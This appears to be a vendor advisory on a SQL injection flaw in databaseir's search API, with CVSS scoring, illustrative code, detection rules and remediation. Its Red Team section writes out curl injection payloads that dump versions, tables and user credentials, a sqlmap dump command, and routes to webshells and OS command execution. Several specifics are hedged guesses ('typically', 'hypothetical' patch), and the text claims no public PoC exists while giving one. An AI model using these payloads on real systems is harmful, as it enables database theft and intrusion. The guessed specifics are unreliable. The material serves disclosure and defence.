CVE-2025-66944

Executive Summary

CVE-2025-66944 is a critical SQL Injection vulnerability in the vran-dev/databaseir application, version 1.0.7 and earlier. The flaw resides in the search API endpoint, where the query parameter is directly concatenated into SQL queries without sanitization or parameterization. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential remote code execution via database functions (e.g., xp_cmdshell on MSSQL or COPY FROM PROGRAM on PostgreSQL). No public proof-of-concept (PoC) or patch exists at this time, making this a zero-day threat for all unpatched instances.

Supply Chain & Package Security

This vulnerability affects a standalone application (databaseir) and is not distributed via NPM, PyPI, Go, or Ruby registries. However, if databaseir is deployed as part of a containerized or orchestrated environment, the supply chain risk includes:

• Container Image: If the application is pulled from a public registry (e.g., Docker Hub) as vran-dev/databaseir:1.0.7, the vulnerable image may be used in CI/CD pipelines.
• Dependency Chain: The application may rely on outdated database drivers or libraries that are themselves vulnerable.
• Integrity Check: Without a signed release or checksum verification, tampered images could introduce backdoors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are the same scope.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service or resource exhaustion.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – Immediate remediation required.

Deep Dive & Mechanics

The vulnerability exists in the search API endpoint, typically mapped to /api/search or /search. The application accepts a query parameter and constructs a SQL query like:

SELECT * FROM items WHERE name LIKE '%" + query + "%'

Because the query parameter is not sanitized, an attacker can inject SQL metacharacters. For example, a payload such as:

' OR 1=1 --

Would result in:

SELECT * FROM items WHERE name LIKE '%' OR 1=1 -- %'

This returns all rows from the items table. More advanced payloads can leverage stacked queries (if supported) or UNION-based injection to extract data from other tables.

Database-Specific Risks:

• MySQL/MariaDB: Use INTO OUTFILE to write webshells.
• PostgreSQL: Use COPY ... FROM PROGRAM for RCE.
• MSSQL: Use xp_cmdshell for OS command execution.

Vulnerable vs. Patched Code

Vulnerable Code (v1.0.7):

# app.py (simplified)
@app.route('/api/search')
def search():
    query = request.args.get('query')
    cursor.execute(f"SELECT * FROM items WHERE name LIKE '%{query}%'")
    return cursor.fetchall()

Patched Code (Hypothetical):

# app.py (patched)
@app.route('/api/search')
def search():
    query = request.args.get('query')
    cursor.execute("SELECT * FROM items WHERE name LIKE ?", ('%' + query + '%',))
    return cursor.fetchall()

The patched version uses parameterized queries (prepared statements) to separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: http://target.com:5000
• Vulnerable endpoint: /api/search?query=test

Manual Exploitation:

1. Verify Injection:

   curl "http://target.com:5000/api/search?query=test'"
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

2. Extract Database Version:

   curl "http://target.com:5000/api/search?query=' UNION SELECT @@version,2,3 -- "
   

3. Enumerate Tables (MySQL example):

   curl "http://target.com:5000/api/search?query=' UNION SELECT table_name,2,3 FROM information_schema.tables -- "
   

4. Dump Credentials:

   curl "http://target.com:5000/api/search?query=' UNION SELECT username,password,3 FROM users -- "
   

Automated Exploitation (using sqlmap):

sqlmap -u "http://target.com:5000/api/search?query=test" --batch --dump

Blue Team

Detection:

• Monitor for abnormal SQL error messages in application logs.
• Alert on requests containing SQL keywords (UNION, SELECT, OR 1=1) in the query parameter.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Hunting:

• Search for query= followed by SQL metacharacters in HTTP logs.
• Look for database error responses (e.g., SQLSTATE, syntax error) in server logs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/search with query parameter containing SQL keywords.
  • Outbound database connections from the application server to unusual IPs.
• File System:
  • Unexpected files in the web root (e.g., shell.php, cmd.aspx).
  • Modified database files or logs.
• Database:
  • New user accounts with elevated privileges.
  • Unusual queries in database logs (e.g., xp_cmdshell, COPY).
• Logs:
  • Application logs showing SQL errors like You have an error in your SQL syntax.

Detection Engineering

YARA Rule

rule CVE_2025_66944_SQLi_Query {
    meta:
        description = "Detects SQL injection attempts targeting databaseir search API"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-66944"
    strings:
        $sqli1 = /query=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i
        $sqli2 = /query=.*--\s*$/i
        $sqli3 = /query=.*\/\*/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-66944 SQL Injection Attempt
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects SQL injection attempts against databaseir search API
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "query=' OR"
            - "query=1' UNION"
            - "query=test'--"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in search terms (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66944 SQL Injection Attempt"; flow:to_server,established; content:"/api/search"; http_uri; content:"query="; http_uri; pcre:"/query=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply a WAF rule to block SQL injection patterns in the query parameter.
3. Restrict database permissions – ensure the application database user has minimal privileges (e.g., only SELECT on required tables).

Long-Term Fix:

• Upgrade to a patched version once available (vendor unresponsive – consider forking the project).
• Rewrite the search functionality to use parameterized queries or an ORM.
• Implement input validation – allow only alphanumeric characters and spaces in the query parameter.

Compromise Assessment:

• Review database logs for unauthorized queries.
• Check for new files in the web root.
• Rotate all credentials stored in the database.

Valters IT
Securing Digital Frontiers